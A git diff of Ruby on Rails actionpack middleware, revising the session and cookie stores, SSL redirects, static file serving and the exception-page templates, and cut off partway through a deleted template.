--- a/actionpack/lib/action_dispatch/middleware/request_id.rb
+++ b/actionpack/lib/action_dispatch/middleware/request_id.rb
@@ -5,7 +5,7 @@ module ActionDispatch
# Makes a unique request id available to the action_dispatch.request_id env variable (which is then accessible through
# ActionDispatch::Request#uuid) and sends the same id to the client via the X-Request-Id header.
#
- # The unique request id is either based off the X-Request-Id header in the request, which would typically be generated
+ # The unique request id is either based on the X-Request-Id header in the request, which would typically be generated
# by a firewall, load balancer, or the web server, or, if this header is not available, a random uuid. If the
# header is accepted from the outside world, we sanitize it to a max of 255 chars and alphanumeric and dashes only.
#
@@ -18,7 +18,7 @@ module ActionDispatch
def call(env)
env["action_dispatch.request_id"] = external_request_id(env) || internal_request_id
- @app.call(env).tap { |status, headers, body| headers["X-Request-Id"] = env["action_dispatch.request_id"] }
+ @app.call(env).tap { |_status, headers, _body| headers["X-Request-Id"] = env["action_dispatch.request_id"] }
end
private
diff --git a/actionpack/lib/action_dispatch/middleware/session/abstract_store.rb b/actionpack/lib/action_dispatch/middleware/session/abstract_store.rb
index 7c12590c49..84df55fd5a 100644
--- a/actionpack/lib/action_dispatch/middleware/session/abstract_store.rb
+++ b/actionpack/lib/action_dispatch/middleware/session/abstract_store.rb
@@ -26,7 +26,7 @@ module ActionDispatch
def generate_sid
sid = SecureRandom.hex(16)
- sid.encode!('UTF-8')
+ sid.encode!(Encoding::UTF_8)
sid
end
diff --git a/actionpack/lib/action_dispatch/middleware/session/cache_store.rb b/actionpack/lib/action_dispatch/middleware/session/cache_store.rb
index 1db6194271..625050dc4b 100644
--- a/actionpack/lib/action_dispatch/middleware/session/cache_store.rb
+++ b/actionpack/lib/action_dispatch/middleware/session/cache_store.rb
@@ -16,9 +16,9 @@ module ActionDispatch
# Get a session from the cache.
def get_session(env, sid)
- sid ||= generate_sid
- session = @cache.read(cache_key(sid))
- session ||= {}
+ unless sid and session = @cache.read(cache_key(sid))
+ sid, session = generate_sid, {}
+ end
[sid, session]
end
diff --git a/actionpack/lib/action_dispatch/middleware/session/cookie_store.rb b/actionpack/lib/action_dispatch/middleware/session/cookie_store.rb
index ce5f89ee5b..ed25c67ae5 100644
--- a/actionpack/lib/action_dispatch/middleware/session/cookie_store.rb
+++ b/actionpack/lib/action_dispatch/middleware/session/cookie_store.rb
@@ -4,56 +4,86 @@ require 'rack/session/cookie'
module ActionDispatch
module Session
- # This cookie-based session store is the Rails default. Sessions typically
- # contain at most a user_id and flash message; both fit within the 4K cookie
- # size limit. Cookie-based sessions are dramatically faster than the
- # alternatives.
+ # This cookie-based session store is the Rails default. It is
+ # dramatically faster than the alternatives.
#
- # If you have more than 4K of session data or don't want your data to be
- # visible to the user, pick another session store.
+ # Sessions typically contain at most a user_id and flash message; both fit
+ # within the 4K cookie size limit. A CookieOverflow exception is raised if
+ # you attempt to store more than 4K of data.
#
- # CookieOverflow is raised if you attempt to store more than 4K of data.
+ # The cookie jar used for storage is automatically configured to be the
+ # best possible option given your application's configuration.
#
- # A message digest is included with the cookie to ensure data integrity:
- # a user cannot alter his +user_id+ without knowing the secret key
- # included in the hash. New apps are generated with a pregenerated secret
- # in config/environment.rb. Set your own for old apps you're upgrading.
+ # If you only have secret_token set, your cookies will be signed, but
+ # not encrypted. This means a user cannot alter their +user_id+ without
+ # knowing your app's secret key, but can easily read their +user_id+. This
+ # was the default for Rails 3 apps.
#
- # Session options:
+ # If you have secret_key_base set, your cookies will be encrypted. This
+ # goes a step further than signed cookies in that encrypted cookies cannot
+ # be altered or read by users. This is the default starting in Rails 4.
#
- # * <tt>:secret</tt>: An application-wide key string or block returning a
- # string called per generated digest. The block is called with the
- # CGI::Session instance as an argument. It's important that the secret
- # is not vulnerable to a dictionary attack. Therefore, you should choose
- # a secret consisting of random numbers and letters and more than 30
- # characters.
+ # If you have both secret_token and secret_key base set, your cookies will
+ # be encrypted, and signed cookies generated by Rails 3 will be
+ # transparently read and encrypted to provide a smooth upgrade path.
#
- # secret: '449fe2e7daee471bffae2fd8dc02313d'
- # secret: Proc.new { User.current_user.secret_key }
+ # Configure your session store in config/initializers/session_store.rb:
#
- # * <tt>:digest</tt>: The message digest algorithm used to verify session
- # integrity defaults to 'SHA1' but may be any digest provided by OpenSSL,
- # such as 'MD5', 'RIPEMD160', 'SHA256', etc.
+ # Rails.application.config.session_store :cookie_store, key: '_your_app_session'
#
- # To generate a secret key for an existing application, run
- # "rake secret" and set the key in config/initializers/secret_token.rb.
+ # Configure your secret key in config/secrets.yml:
#
- # Note that changing digest or secret invalidates all existing sessions!
- class CookieStore < Rack::Session::Cookie
+ # development:
+ # secret_key_base: 'secret key'
+ #
+ # To generate a secret key for an existing application, run `rake secret`.
+ #
+ # If you are upgrading an existing Rails 3 app, you should leave your
+ # existing secret_token in place and simply add the new secret_key_base.
+ # Note that you should wait to set secret_key_base until you have 100% of
+ # your userbase on Rails 4 and are reasonably sure you will not need to
+ # rollback to Rails 3. This is because cookies signed based on the new
+ # secret_key_base in Rails 4 are not backwards compatible with Rails 3.
+ # You are free to leave your existing secret_token in place, not set the
+ # new secret_key_base, and ignore the deprecation warnings until you are
+ # reasonably sure that your upgrade is otherwise complete. Additionally,
+ # you should take care to make sure you are not relying on the ability to
+ # decode signed cookies generated by your app in external applications or
+ # JavaScript before upgrading.
+ #
+ # Note that changing the secret key will invalidate all existing sessions!
+ class CookieStore < Rack::Session::Abstract::ID
include Compatibility
include StaleSessionCheck
include SessionObject
- # Override rack's method
+ def initialize(app, options={})
+ super(app, options.merge!(:cookie_only => true))
+ end
+
def destroy_session(env, session_id, options)
- new_sid = super
+ new_sid = generate_sid unless options[:drop]
# Reset hash and Assign the new session id
env["action_dispatch.request.unsigned_session_cookie"] = new_sid ? { "session_id" => new_sid } : {}
new_sid
end
+ def load_session(env)
+ stale_session_check! do
+ data = unpacked_cookie_data(env)
+ data = persistent_session_id!(data)
+ [data["session_id"], data]
+ end
+ end
+
private
+ def extract_session_id(env)
+ stale_session_check! do
+ unpacked_cookie_data(env)["session_id"]
+ end
+ end
+
def unpacked_cookie_data(env)
env["action_dispatch.request.unsigned_session_cookie"] ||= begin
stale_session_check! do
@@ -65,6 +95,12 @@ module ActionDispatch
end
end
+ def persistent_session_id!(data, sid=nil)
+ data ||= {}
+ data["session_id"] ||= sid || generate_sid
+ data
+ end
+
def set_session(env, sid, session_data, options)
session_data["session_id"] = sid
session_data
@@ -80,42 +116,7 @@ module ActionDispatch
def cookie_jar(env)
request = ActionDispatch::Request.new(env)
- request.cookie_jar.signed
- end
- end
-
- class EncryptedCookieStore < CookieStore
-
- private
-
- def cookie_jar(env)
- request = ActionDispatch::Request.new(env)
- request.cookie_jar.encrypted
- end
- end
-
- # This cookie store helps you upgrading apps that use +CookieStore+ to the new default +EncryptedCookieStore+
- # To use this CookieStore set
- #
- # Myapp::Application.config.session_store :upgrade_signature_to_encryption_cookie_store, key: '_myapp_session'
- #
- # in your config/initializers/session_store.rb
- #
- # You will also need to add
- #
- # Myapp::Application.config.secret_key_base = 'some secret'
- #
- # in your config/initializers/secret_token.rb, but do not remove +Myapp::Application.config.secret_token = 'some secret'+
- class UpgradeSignatureToEncryptionCookieStore < EncryptedCookieStore
- private
-
- def get_cookie(env)
- signed_using_old_secret_cookie_jar(env)[@key] || cookie_jar(env)[@key]
- end
-
- def signed_using_old_secret_cookie_jar(env)
- request = ActionDispatch::Request.new(env)
- request.cookie_jar.signed_using_old_secret
+ request.cookie_jar.signed_or_encrypted
end
end
end
diff --git a/actionpack/lib/action_dispatch/middleware/show_exceptions.rb b/actionpack/lib/action_dispatch/middleware/show_exceptions.rb
index 2b37a8d026..f0779279c1 100644
--- a/actionpack/lib/action_dispatch/middleware/show_exceptions.rb
+++ b/actionpack/lib/action_dispatch/middleware/show_exceptions.rb
@@ -16,9 +16,9 @@ module ActionDispatch
# catches the exceptions and returns a FAILSAFE_RESPONSE.
class ShowExceptions
FAILSAFE_RESPONSE = [500, { 'Content-Type' => 'text/plain' },
- ["500 Internal Server Error\n" <<
- "If you are the administrator of this website, then please read this web " <<
- "application's log file and/or the web server's log file to find out what " <<
+ ["500 Internal Server Error\n" \
+ "If you are the administrator of this website, then please read this web " \
+ "application's log file and/or the web server's log file to find out what " \
"went wrong."]]
def initialize(app, exceptions_app)
@@ -27,13 +27,13 @@ module ActionDispatch
end
def call(env)
- begin
- response = @app.call(env)
- rescue Exception => exception
- raise exception if env['action_dispatch.show_exceptions'] == false
+ @app.call(env)
+ rescue Exception => exception
+ if env['action_dispatch.show_exceptions'] == false
+ raise exception
+ else
+ render_exception(env, exception)
end
-
- response || render_exception(env, exception)
end
private
@@ -42,6 +42,7 @@ module ActionDispatch
wrapper = ExceptionWrapper.new(env, exception)
status = wrapper.status_code
env["action_dispatch.exception"] = wrapper.exception
+ env["action_dispatch.original_path"] = env["PATH_INFO"]
env["PATH_INFO"] = "/#{status}"
response = @exceptions_app.call(env)
response[1]['X-Cascade'] == 'pass' ? pass_response(status) : response
diff --git a/actionpack/lib/action_dispatch/middleware/ssl.rb b/actionpack/lib/action_dispatch/middleware/ssl.rb
index 9098f4e170..0c7caef25d 100644
--- a/actionpack/lib/action_dispatch/middleware/ssl.rb
+++ b/actionpack/lib/action_dispatch/middleware/ssl.rb
@@ -32,12 +32,14 @@ module ActionDispatch
private
def redirect_to_https(request)
- url = URI(request.url)
- url.scheme = "https"
- url.host = @host if @host
- url.port = @port if @port
- headers = hsts_headers.merge('Content-Type' => 'text/html',
- 'Location' => url.to_s)
+ host = @host || request.host
+ port = @port || request.port
+
+ location = "https://#{host}"
+ location << ":#{port}" if port != 80
+ location << request.fullpath
+
+ headers = { 'Content-Type' => 'text/html', 'Location' => location }
[301, headers, []]
end
@@ -45,7 +47,7 @@ module ActionDispatch
# http://tools.ietf.org/html/draft-hodges-strict-transport-sec-02
def hsts_headers
if @hsts
- value = "max-age=#{@hsts[:expires]}"
+ value = "max-age=#{@hsts[:expires].to_i}"
value += "; includeSubDomains" if @hsts[:subdomains]
{ 'Strict-Transport-Security' => value }
else
@@ -58,7 +60,7 @@ module ActionDispatch
cookies = cookies.split("\n")
headers['Set-Cookie'] = cookies.map { |cookie|
- if cookie !~ /;\s+secure(;|$)/
+ if cookie !~ /;\s*secure\s*(;|$)/i
"#{cookie}; secure"
else
cookie
diff --git a/actionpack/lib/action_dispatch/middleware/static.rb b/actionpack/lib/action_dispatch/middleware/static.rb
index e3b15b43b9..002bf8b11a 100644
--- a/actionpack/lib/action_dispatch/middleware/static.rb
+++ b/actionpack/lib/action_dispatch/middleware/static.rb
@@ -2,48 +2,98 @@ require 'rack/utils'
require 'active_support/core_ext/uri'
module ActionDispatch
+ # This middleware returns a file's contents from disk in the body response.
+ # When initialized it can accept an optional 'Cache-Control' header which
+ # will be set when a response containing a file's contents is delivered.
+ #
+ # This middleware will render the file specified in `env["PATH_INFO"]`
+ # where the base path is in the +root+ directory. For example if the +root+
+ # is set to `public/` then a request with `env["PATH_INFO"]` of
+ # `assets/application.js` will return a response with contents of a file
+ # located at `public/assets/application.js` if the file exists. If the file
+ # does not exist a 404 "File not Found" response will be returned.
class FileHandler
def initialize(root, cache_control)
@root = root.chomp('/')
@compiled_root = /^#{Regexp.escape(root)}/
- @file_server = ::Rack::File.new(@root, cache_control)
+ headers = cache_control && { 'Cache-Control' => cache_control }
+ @file_server = ::Rack::File.new(@root, headers)
end
def match?(path)
- path = path.dup
+ path = URI.parser.unescape(path)
+ return false unless path.valid_encoding?
- full_path = path.empty? ? @root : File.join(@root, escape_glob_chars(unescape_path(path)))
- paths = "#{full_path}#{ext}"
+ paths = [path, "#{path}#{ext}", "#{path}/index#{ext}"].map { |v|
+ Rack::Utils.clean_path_info v
+ }
- matches = Dir[paths]
- match = matches.detect { |m| File.file?(m) }
- if match
- match.sub!(@compiled_root, '')
- ::Rack::Utils.escape(match)
+ if match = paths.detect { |p|
+ path = File.join(@root, p)
+ begin
+ File.file?(path) && File.readable?(path)
+ rescue SystemCallError
+ false
+ end
+
+ }
+ return ::Rack::Utils.escape(match)
end
end
def call(env)
- @file_server.call(env)
- end
+ path = env['PATH_INFO']
+ gzip_path = gzip_file_path(path)
- def ext
- @ext ||= begin
- ext = ::ActionController::Base.default_static_extension
- "{,#{ext},/index#{ext}}"
+ if gzip_path && gzip_encoding_accepted?(env)
+ env['PATH_INFO'] = gzip_path
+ status, headers, body = @file_server.call(env)
+ headers['Content-Encoding'] = 'gzip'
+ headers['Content-Type'] = content_type(path)
+ else
+ status, headers, body = @file_server.call(env)
end
- end
- def unescape_path(path)
- URI.parser.unescape(path)
- end
+ headers['Vary'] = 'Accept-Encoding' if gzip_path
- def escape_glob_chars(path)
- path.force_encoding('binary') if path.respond_to? :force_encoding
- path.gsub(/[*?{}\[\]]/, "\\\\\\&")
+ return [status, headers, body]
+ ensure
+ env['PATH_INFO'] = path
end
+
+ private
+ def ext
+ ::ActionController::Base.default_static_extension
+ end
+
+ def content_type(path)
+ ::Rack::Mime.mime_type(::File.extname(path), 'text/plain')
+ end
+
+ def gzip_encoding_accepted?(env)
+ env['HTTP_ACCEPT_ENCODING'] =~ /\bgzip\b/i
+ end
+
+ def gzip_file_path(path)
+ can_gzip_mime = content_type(path) =~ /\A(?:text\/|application\/javascript)/
+ gzip_path = "#{path}.gz"
+ if can_gzip_mime && File.exist?(File.join(@root, ::Rack::Utils.unescape(gzip_path)))
+ gzip_path
+ else
+ false
+ end
+ end
end
+ # This middleware will attempt to return the contents of a file's body from
+ # disk in the response. If a file is not found on disk, the request will be
+ # delegated to the application stack. This middleware is commonly initialized
+ # to serve assets from a server's `public/` directory.
+ #
+ # This middleware verifies the path to ensure that only files
+ # living in the root directory can be rendered. A request cannot
+ # produce a directory traversal using this middleware. Only 'GET' and 'HEAD'
+ # requests will result in a file being returned.
class Static
def initialize(app, path, cache_control=nil)
@app = app
diff --git a/actionpack/lib/action_dispatch/middleware/templates/rescues/_request_and_response.erb b/actionpack/lib/action_dispatch/middleware/templates/rescues/_request_and_response.erb
deleted file mode 100644
index 823f5d25b6..0000000000
--- a/actionpack/lib/action_dispatch/middleware/templates/rescues/_request_and_response.erb
+++ /dev/null
@@ -1,31 +0,0 @@
-<% unless @exception.blamed_files.blank? %>
- <% if (hide = @exception.blamed_files.length > 8) %>
- <a href="#" onclick="document.getElementById('blame_trace').style.display='block'; return false;">Show blamed files</a>
- <% end %>
- <pre id="blame_trace" <%='style="display:none"' if hide %>><code><%=h @exception.describe_blame %></code></pre>
-<% end %>
-
-<%
- clean_params = @request.filtered_parameters.clone
- clean_params.delete("action")
- clean_params.delete("controller")
-
- request_dump = clean_params.empty? ? 'None' : clean_params.inspect.gsub(',', ",\n")
-
- def debug_hash(object)
- object.to_hash.sort_by { |k, v| k.to_s }.map { |k, v| "#{k}: #{v.inspect rescue $!.message}" }.join("\n")
- end unless self.class.method_defined?(:debug_hash)
-%>
-
-<h2 style="margin-top: 30px">Request</h2>
-<p><b>Parameters</b>: <pre><%=h request_dump %></pre></p>
-
-<p><a href="#" onclick="document.getElementById('session_dump').style.display='block'; return false;">Show session dump</a></p>
-<div id="session_dump" style="display:none"><pre><%= debug_hash @request.session %></pre></div>
-
-<p><a href="#" onclick="document.getElementById('env_dump').style.display='block'; return false;">Show env dump</a></p>
-<div id="env_dump" style="display:none"><pre><%= debug_hash @request.env.slice(*@request.class::ENV_METHODS) %></pre></div>
-
-
-<h2 style="margin-top: 30px">Response</h2>
-<p><b>Headers</b>: <pre><%=h defined?(@response) ? @response.headers.inspect.gsub(',', ",\n") : 'None' %></pre></p>
diff --git a/actionpack/lib/action_dispatch/middleware/templates/rescues/_request_and_response.html.erb b/actionpack/lib/action_dispatch/middleware/templates/rescues/_request_and_response.html.erb
new file mode 100644
index 0000000000..49b1e83551
--- /dev/null
+++ b/actionpack/lib/action_dispatch/middleware/templates/rescues/_request_and_response.html.erb
@@ -0,0 +1,22 @@
+<% unless @exception.blamed_files.blank? %>
+ <% if (hide = @exception.blamed_files.length > 8) %>
+ <a href="#" onclick="return toggleTrace()">Toggle blamed files</a>
+ <% end %>
+ <pre id="blame_trace" <%='style="display:none"' if hide %>><code><%= @exception.describe_blame %></code></pre>
+<% end %>
+
+<h2 style="margin-top: 30px">Request</h2>
+<p><b>Parameters</b>:</p> <pre><%= debug_params(@request.filtered_parameters) %></pre>
+
+<div class="details">
+ <div class="summary"><a href="#" onclick="return toggleSessionDump()">Toggle session dump</a></div>
+ <div id="session_dump" style="display:none"><pre><%= debug_hash @request.session %></pre></div>
+</div>
+
+<div class="details">
+ <div class="summary"><a href="#" onclick="return toggleEnvDump()">Toggle env dump</a></div>
+ <div id="env_dump" style="display:none"><pre><%= debug_hash @request.env.slice(*@request.class::ENV_METHODS) %></pre></div>
+</div>
+
+<h2 style="margin-top: 30px">Response</h2>
+<p><b>Headers</b>:</p> <pre><%= debug_headers(defined?(@response) ? @response.headers : {}) %></pre>
diff --git a/actionpack/lib/action_dispatch/middleware/templates/rescues/_request_and_response.text.erb b/actionpack/lib/action_dispatch/middleware/templates/rescues/_request_and_response.text.erb
new file mode 100644
index 0000000000..396768ecee
--- /dev/null
+++ b/actionpack/lib/action_dispatch/middleware/templates/rescues/_request_and_response.text.erb
@@ -0,0 +1,23 @@
+<%
+ clean_params = @request.filtered_parameters.clone
+ clean_params.delete("action")
+ clean_params.delete("controller")
+
+ request_dump = clean_params.empty? ? 'None' : clean_params.inspect.gsub(',', ",\n")
+
+ def debug_hash(object)
+ object.to_hash.sort_by { |k, _| k.to_s }.map { |k, v| "#{k}: #{v.inspect rescue $!.message}" }.join("\n")
+ end unless self.class.method_defined?(:debug_hash)
+%>
+
+Request parameters
+<%= request_dump %>
+
+Session dump
+<%= debug_hash @request.session %>
+
+Env dump
+<%= debug_hash @request.env.slice(*@request.class::ENV_METHODS) %>
+
+Response headers
+<%= defined?(@response) ? @response.headers.inspect.gsub(',', ",\n") : 'None' %>
diff --git a/actionpack/lib/action_dispatch/middleware/templates/rescues/_source.erb b/actionpack/lib/action_dispatch/middleware/templates/rescues/_source.erb
new file mode 100644
index 0000000000..e7b913bbe4
--- /dev/null
+++ b/actionpack/lib/action_dispatch/middleware/templates/rescues/_source.erb
@@ -0,0 +1,27 @@
+<% @source_extracts.each_with_index do |source_extract, index| %>
+ <% if source_extract[:code] %>
+ <div class="source <%="hidden" if @show_source_idx != index%>" id="frame-source-<%=index%>">
+ <div class="info">
+ Extracted source (around line <strong>#<%= source_extract[:line_number] %></strong>):
+ </div>
+ <div class="data">
+ <table cellpadding="0" cellspacing="0" class="lines">
+ <tr>
+ <td>
+ <pre class="line_numbers">
+ <% source_extract[:code].each_key do |line_number| %>
+<span><%= line_number -%></span>
+ <% end %>
+ </pre>
+ </td>
+<td width="100%">
+<pre>
+<% source_extract[:code].each do |line, source| -%><div class="line<%= " active" if line == source_extract[:line_number] -%>"><%= source -%></div><% end -%>
+</pre>
+</td>
+ </tr>
+ </table>
+ </div>
+ </div>
+ <% end %>
+<% end %>
diff --git a/actionpack/lib/action_dispatch/middleware/templates/rescues/_trace.erb b/actionpack/lib/action_dispatch/middleware/templates/rescues/_trace.erb
deleted file mode 100644
index 8771b5fd6d..0000000000
--- a/actionpack/lib/action_dispatch/middleware/templates/rescues/_trace.erb
+++ /dev/null
@@ -1,26 +0,0 @@
-<%
- traces = [
- ["Application Trace", @application_trace],
- ["Framework Trace", @framework_trace],
- ["Full Trace", @full_trace]
- ]
- names = traces.collect {|name, trace| name}
-%>
-
-<p><code>Rails.root: <%= defined?(Rails) && Rails.respond_to?(:root) ? Rails.root : "unset" %></code></p>
-
-<div id="traces">
- <% names.each do |name| %>
- <%
- show = "document.getElementById('#{name.gsub(/\s/, '-')}').style.display='block';"
- hide = (names - [name]).collect {|hide_name| "document.getElementById('#{hide_name.gsub(/\s/, '-')}').style.display='none';"}
- %>
- <a href="#" onclick="<%= hide.join %><%= show %>; return false;"><%= name %></a> <%= '|' unless names.last == name %>
- <% end %>
-
- <% traces.each do |name, trace| %>
- <div id="<%= name.gsub(/\s/, '-') %>" style="display: <%= (name == "Application Trace") ? 'block' : 'none' %>;">
- <pre><code><%=h trace.join "\n" %></code></pre>
- </div>
- <% end %>
-</div>
diff --git a/actionpack/lib/action_dispatch/middleware/templates/rescues/_trace.html.erb b/actionpack/lib/action_dispatch/middleware/templates/rescues/_trace.html.erb
new file mode 100644
index 0000000000..ab57b11c7d
--- /dev/null
+++ b/actionpack/lib/action_dispatch/middleware/templates/rescues/_trace.html.erb
@@ -0,0 +1,52 @@
+<% names = @traces.keys %>
+
+<p><code>Rails.root: <%= defined?(Rails) && Rails.respond_to?(:root) ? Rails.root : "unset" %></code></p>
+
+<div id="traces">
+ <% names.each do |name| %>
+ <%
+ show = "show('#{name.gsub(/\s/, '-')}');"
+ hide = (names - [name]).collect {|hide_name| "hide('#{hide_name.gsub(/\s/, '-')}');"}
+ %>
+ <a href="#" onclick="<%= hide.join %><%= show %>; return false;"><%= name %></a> <%= '|' unless names.last == name %>
+ <% end %>
+
+ <% @traces.each do |name, trace| %>
+ <div id="<%= name.gsub(/\s/, '-') %>" style="display: <%= (name == @trace_to_show) ? 'block' : 'none' %>;">
+ <pre><code><% trace.each do |frame| %><a class="trace-frames" data-frame-id="<%= frame[:id] %>" href="#"><%= frame[:trace] %></a><br><% end %></code></pre>
+ </div>
+ <% end %>
+
+ <script type="text/javascript">
+ var traceFrames = document.getElementsByClassName('trace-frames');
+ var selectedFrame, currentSource = document.getElementById('frame-source-0');
+
+ // Add click listeners for all stack frames
+ for (var i = 0; i < traceFrames.length; i++) {
+ traceFrames[i].addEventListener('click', function(e) {
+ e.preventDefault();
+ var target = e.target;
+ var frame_id = target.dataset.frameId;
+
+ if (selectedFrame) {
+ selectedFrame.className = selectedFrame.className.replace("selected", "");
+ }
+
+ target.className += " selected";
+ selectedFrame = target;
+
+ // Change the extracted source code
+ changeSourceExtract(frame_id);
+ });
+
+ function changeSourceExtract(frame_id) {
+ var el = document.getElementById('frame-source-' + frame_id);
+ if (currentSource && el) {
+ currentSource.className += " hidden";
+ el.className = el.className.replace(" hidden", "");
+ currentSource = el;
+ }
+ }
+ }
+ </script>
+</div>
diff --git a/actionpack/lib/action_dispatch/middleware/templates/rescues/_trace.text.erb b/actionpack/lib/action_dispatch/middleware/templates/rescues/_trace.text.erb
new file mode 100644
index 0000000000..c0b53068f7
--- /dev/null
+++ b/actionpack/lib/action_dispatch/middleware/templates/rescues/_trace.text.erb
@@ -0,0 +1,9 @@
+Rails.root: <%= defined?(Rails) && Rails.respond_to?(:root) ? Rails.root : "unset" %>
+
+<% @traces.each do |name, trace| %>
+<% if trace.any? %>
+<%= name %>
+<%= trace.map { |t| t[:trace] }.join("\n") %>
+
+<% end %>
+<% end %>
diff --git a/actionpack/lib/action_dispatch/middleware/templates/rescues/diagnostics.erb b/actionpack/lib/action_dispatch/middleware/templates/rescues/diagnostics.erb
deleted file mode 100644
index c5043c5e7b..0000000000
--- a/actionpack/lib/action_dispatch/middleware/templates/rescues/diagnostics.erb
+++ /dev/null
@@ -1,10 +0,0 @@
-<h1>
- <%=h @exception.class.to_s %>
- <% if @request.parameters['controller'] %>
- in <%=h @request.parameters['controller'].camelize %>Controller<% if @request.parameters['action'] %>#<%=h @request.parameters['action'] %><% end %>
- <% end %>
-</h1>
-<pre><%=h @exception.message %></pre>
-
-<%= render template: "rescues/_trace" %>
-<%= render template: "rescues/_request_and_response" %>
diff --git a/actionpack/lib/action_dispatch/middleware/templates/rescues/diagnostics.html.erb b/actionpack/lib/action_dispatch/middleware/templates/rescues/diagnostics.html.erb
new file mode 100644
index 0000000000..f154021ae6
--- /dev/null
+++ b/actionpack/lib/action_dispatch/middleware/templates/rescues/diagnostics.html.erb
@@ -0,0 +1,16 @@
+<header>
+ <h1>
+ <%= @exception.class.to_s %>
+ <% if @request.parameters['controller'] %>
+ in <%= @request.parameters['controller'].camelize %>Controller<% if @request.parameters['action'] %>#<%= @request.parameters['action'] %><% end %>
+ <% end %>
+ </h1>
+</header>
+
+<div id="container">
+ <h2><%= h @exception.message %></h2>
+
+ <%= render template: "rescues/_source" %>
+ <%= render template: "rescues/_trace" %>
+ <%= render template: "rescues/_request_and_response" %>
+</div>
diff --git a/actionpack/lib/action_dispatch/middleware/templates/rescues/diagnostics.text.erb b/actionpack/lib/action_dispatch/middleware/templates/rescues/diagnostics.text.erb
new file mode 100644
index 0000000000..603de54b8b
--- /dev/null
+++ b/actionpack/lib/action_dispatch/middleware/templates/rescues/diagnostics.text.erb
@@ -0,0 +1,9 @@
+<%= @exception.class.to_s %><%
+ if @request.parameters['controller']
+%> in <%= @request.parameters['controller'].camelize %>Controller<% if @request.parameters['action'] %>#<%= @request.parameters['action'] %><% end %>
+<% end %>
+
+<%= @exception.message %>
+<%= render template: "rescues/_source" %>
+<%= render template: "rescues/_trace" %>
+<%= render template: "rescues/_request_and_response" %>
diff --git a/actionpack/lib/action_dispatch/middleware/templates/rescues/layout.erb b/actionpack/lib/action_dispatch/middleware/templates/rescues/layout.erb
index 1a308707d1..e0509f56f4 100644
--- a/actionpack/lib/action_dispatch/middleware/templates/rescues/layout.erb
+++ b/actionpack/lib/action_dispatch/middleware/templates/rescues/layout.erb
@@ -4,7 +4,11 @@
<meta charset="utf-8" />
<title>Action Controller: Exception caught</title>
<style>
- body { background-color: #fff; color: #333; }
+ body {
+ background-color: #FAFAFA;
+ color: #333;
+ margin: 0px;
+ }
body, p, ol, ul, td {
font-family: helvetica, verdana, arial, sans-serif;
@@ -13,16 +17,140 @@
}
pre {
- background-color: #eee;
- padding: 10px;
font-size: 11px;
white-space: pre-wrap;
}
- a { color: #000; }
+ pre.box {
+ border: 1px solid #EEE;
+ padding: 10px;
+ margin: 0px;
+ width: 958px;
+ }
+
+ header {
+ color: #F0F0F0;
+ background: #C52F24;
+ padding: 0.5em 1.5em;
+ }
+
+ h1 {
+ margin: 0.2em 0;
+ line-height: 1.1em;
+ font-size: 2em;
+ }
+
+ h2 {
+ color: #C52F24;
+ line-height: 25px;
+ }
+
+ .details {
+ border: 1px solid #D0D0D0;
+ border-radius: 4px;
+ margin: 1em 0px;
+ display: block;
+ width: 978px;
+ }
+
+ .summary {
+ padding: 8px 15px;
+ border-bottom: 1px solid #D0D0D0;
+ display: block;
+ }
+
+ .details pre {
+ margin: 5px;
+ border: none;
+ }
+
+ #container {
+ box-sizing: border-box;
+ width: 100%;
+ padding: 0 1.5em;
+ }
+
+ .source * {
+ margin: 0px;
+ padding: 0px;
+ }
+
+ .source {
+ border: 1px solid #D9D9D9;
+ background: #ECECEC;
+ width: 978px;
+ }
+
+ .source pre {
+ padding: 10px 0px;
+ border: none;
+ }
+
+ .source .data {
+ font-size: 80%;
+ overflow: auto;
+ background-color: #FFF;
+ }
+
+ .info {
+ padding: 0.5em;
+ }
+
+ .source .data .line_numbers {
+ background-color: #ECECEC;
+ color: #AAA;
+ padding: 1em .5em;
+ border-right: 1px solid #DDD;
+ text-align: right;
+ }
+
+ .line {
+ padding-left: 10px;
+ }
+
+ .line:hover {
+ background-color: #F6F6F6;
+ }
+
+ .line.active {
+ background-color: #FFCCCC;
+ }
+
+ .hidden {
+ display: none;
+ }
+
+ a { color: #980905; }
a:visited { color: #666; }
- a:hover { color: #fff; background-color:#000; }
+ a.trace-frames { color: #666; }
+ a:hover { color: #C52F24; }
+ a.trace-frames.selected { color: #C52F24 }
+
+ <%= yield :style %>
</style>
+
+ <script>
+ var toggle = function(id) {
+ var s = document.getElementById(id).style;
+ s.display = s.display == 'none' ? 'block' : 'none';
+ return false;
+ }
+ var show = function(id) {
+ document.getElementById(id).style.display = 'block';
+ }
+ var hide = function(id) {
+ document.getElementById(id).style.display = 'none';
+ }
+ var toggleTrace = function() {
+ return toggle('blame_trace');
+ }
+ var toggleSessionDump = function() {
+ return toggle('session_dump');
+ }
+ var toggleEnvDump = function() {
+ return toggle('env_dump');
+ }
+ </script>
</head>
<body>
diff --git a/actionpack/lib/action_dispatch/middleware/templates/rescues/missing_template.erb b/actionpack/lib/action_dispatch/middleware/templates/rescues/missing_template.erb
deleted file mode 100644
index dbfdf76947..0000000000
--- a/actionpack/lib/action_dispatch/middleware/templates/rescues/missing_template.erb
+++ /dev/null
@@ -1,2 +0,0 @@
-<h1>Template is missing</h1>
-<p><%=h @exception.message %></p>
diff --git a/actionpack/lib/action_dispatch/middleware/templates/rescues/missing_template.html.erb b/actionpack/lib/action_dispatch/middleware/templates/rescues/missing_template.html.erb
new file mode 100644
index 0000000000..2a65fd06ad
--- /dev/null
+++ b/actionpack/lib/action_dispatch/middleware/templates/rescues/missing_template.html.erb
@@ -0,0 +1,11 @@
+<header>
+ <h1>Template is missing</h1>
+</header>
+
+<div id="container">
+ <h2><%= h @exception.message %></h2>
+
+ <%= render template: "rescues/_source" %>
+ <%= render template: "rescues/_trace" %>
+ <%= render template: "rescues/_request_and_response" %>
+</div>
diff --git a/actionpack/lib/action_dispatch/middleware/templates/rescues/missing_template.text.erb b/actionpack/lib/action_dispatch/middleware/templates/rescues/missing_template.text.erb
new file mode 100644
index 0000000000..ae62d9eb02
--- /dev/null
+++ b/actionpack/lib/action_dispatch/middleware/templates/rescues/missing_template.text.erb
@@ -0,0 +1,3 @@
+Template is missing
+
+<%= @exception.message %>
diff --git a/actionpack/lib/action_dispatch/middleware/templates/rescues/routing_error.erb b/actionpack/lib/action_dispatch/middleware/templates/rescues/routing_error.erb
deleted file mode 100644
index a357a7ba11..0000000000
--- a/actionpack/lib/action_dispatch/middleware/templates/rescues/routing_error.erb
+++ /dev/null
@@ -1,23 +0,0 @@
-<h1>Routing Error</h1>
-<p><pre><%=h @exception.message %></pre></p>
